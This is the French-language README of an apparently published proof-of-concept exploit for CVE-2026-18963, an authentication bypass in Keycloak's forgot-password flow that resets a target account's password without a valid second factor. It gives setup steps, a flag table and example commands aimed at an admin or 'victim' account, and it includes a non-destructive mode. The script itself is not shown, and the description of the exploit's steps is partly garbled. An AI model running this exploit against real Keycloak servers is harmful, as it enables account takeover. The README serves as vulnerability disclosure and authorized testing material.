
Exploit de preuve de concept pour CVE-2026-18963, un contournement d'authentification dans le flux de réinitialisation de mot de passe oublié de Keycloak, permettant de réinitialiser le mot de passe sans vérification appropriée. Inclut un mode de preuve non destructif.
Preuve de concept pour CVE-2026-18963, un défaut dans le flux « Mot de passe oublié » / de sélection des identifiants de Keycloak qui permet à un attaquant d'atteindre l'étape UPDATE_PASSWORD — et de réinitialiser le mot de passe d'un compte cible — sans avoir correctement effectué la vérification d'identité requise (par exemple sans OTP/second facteur valide).
Le script pilote le flux uniquement via HTTP (aucun navigateur/Selenium requis) en :
tryAnotherWay.startSessionPolling() utilisée par l'interface Keycloak pour maintenir la session d'authentification active.UPDATE_PASSWORD.Cet outil est fourni uniquement pour les tests de sécurité et la recherche autorisés (tests d'intrusion que vous êtes mandaté pour effectuer, CTF, vos propres environnements de laboratoire ou divulgation coordonnée de vulnérabilités). L'exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester est illégal. L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Utilisez --stop-at-update-password pour produire une preuve non destructive (atteindre UPDATE_PASSWORD sans soumettre de nouveau mot de passe) dès lors que cela suffit à démontrer le problème.
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| Flag | Default | Description |
|---|---|---|
--base-url | http://localhost:8080 | URL de base de l'instance Keycloak cible |
--realm | master | Realm ciblé |
--client-id | account | Identifiant client OIDC utilisé pour initier le flux de connexion |
--username | admin | Nom d'utilisateur cible |
--new-password | (requis) | Mot de passe à définir pour le compte cible |
--stop-at-update-password | off | S'arrêter une fois UPDATE_PASSWORD atteint, sans soumettre de nouveau mot de passe (preuve non destructive) |
--timeout | 10.0 | Délai d'expiration des requêtes HTTP en secondes |
--output-dir | debug_http | Répertoire dans lequel chaque réponse HTML intermédiaire est enregistrée pour le débogage |
--insecure | off | Désactiver la vérification des certificats TLS |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
Chaque réponse HTTP intermédiaire est enregistrée dans --output-dir (debug_http par défaut) sous la forme 01_login.html, 02_reset.html, ... pour une revue hors ligne. Le script se termine avec le code 0 en cas de succès et 1 en cas d'échec, en affichant la progression et les messages de diagnostic sur stdout.
Aurélien LOIE